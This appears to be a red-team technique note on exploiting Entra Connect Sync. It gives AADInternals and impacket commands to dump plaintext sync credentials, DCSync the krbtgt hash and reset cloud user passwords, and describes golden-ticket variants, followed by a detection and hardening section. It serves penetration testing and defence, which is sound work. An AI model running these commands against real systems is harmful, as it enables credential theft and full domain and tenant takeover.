Entra Connect exploitation (2025)

Entra Connect exploitation (2025)

TL;DR: Entra Connect Sync still bridges on-prem AD and Entra with two highly-privileged accounts (on-prem MSOL_, cloud Sync_); compromising the sync host or its credentials gives DCSync on-prem and Directory.ReadWrite.All in the cloud, with cloud Kerberos trust adding new pivots.

What it is

Entra Connect Sync (formerly Azure AD Connect, formerly DirSync) runs on a Windows server inside the on-prem AD forest and pushes identity changes into Entra. It uses two accounts: an on-prem MSOL_<hex> account granted Replicate Directory Changes / Replicate Directory Changes All on the domain, and a cloud Sync_<hostname>_<hex> service principal in Directory Synchronization Accounts role. Both are juicy: the on-prem account does effectively DCSync, the cloud account can write to almost any synced object. Cloud Kerberos trust (FIDO2 / Windows Hello → on-prem Kerberos TGT) adds a new escalation surface where compromising the sync trust lets you mint TGTs for synced users.

Preconditions / where it applies

  • Foothold on the Entra Connect host (often a member server, not a DC, so easier to land on).
  • Or knowledge of the MSOL or Sync_ credentials (stored DPAPI-protected in ADSync.mdf and the LSA secrets cache).
  • Hybrid identity tenant with Entra Connect Sync deployed; affects v2 (still shipping in 2025).

Technique

  1. On the Connect server: extract sync credentials from the configuration store.
  2. Use MSOL on-prem credentials for DCSync to grab krbtgt, then forge tickets.
  3. Use Sync_ cloud credentials to mutate cloud user attributes (e.g. swap userPrincipalName, push a new password for cloud-only attack paths).
1
2
3
4

# On the Connect host — dump sync credentials
# adconnectdump / aadinternals approach
Import-Module AADInternals
Get-AADIntSyncCredentials                # returns MSOL + Sync_ creds in plaintext

1
2

# DCSync with on-prem MSOL account
impacket-secretsdump 'TARGET/MSOL_abcdef:<pw>@dc01.target.local' -just-dc-user krbtgt

1
2
3

# Cloud side — authenticate as Sync_ SP and abuse Directory.ReadWrite.All
Get-AADIntAccessTokenForAADGraph -Credentials $syncCreds
Set-AADIntUserPassword -SourceAnchor <ImmutableId> -Password 'Spring2025!'

Cloud Kerberos trust variant: the Connect server provisions a computer object (AzureADKerberos) in on-prem AD whose key signs partial-TGTs for cloud FIDO sign-ins. Whoever owns that key can mint TGTs for any synced user (Dirk-jan’s “AzureADKerberos golden ticket”). Other 2024–2025 angles: abusing Seamless SSO’s AZUREADSSOACC$ computer account silver tickets, Pass-Through Authentication agent backdoors.

Detection and defence

  • Treat the Entra Connect host as Tier 0 — PAW-only admin, no internet egress, no shared service accounts.
  • Rotate MSOL and Sync_ credentials after any suspected compromise; AADInternals exposes the rotation cmdlets.
  • Monitor for Directory Replication events (4662 with the replication GUIDs) from non-DC sources, and for AAD audit entries of “Update user — userPrincipalName” by Sync_ SPs at odd hours.
  • Move FIDO/cloud Kerberos trust off Entra Connect Sync onto Entra Cloud Sync where feasible; rotate the AzureADKerberos computer key regularly.
  • Related: entra-actor-token-cross-tenant, entra-device-code-prt-pivot, dcsync.

References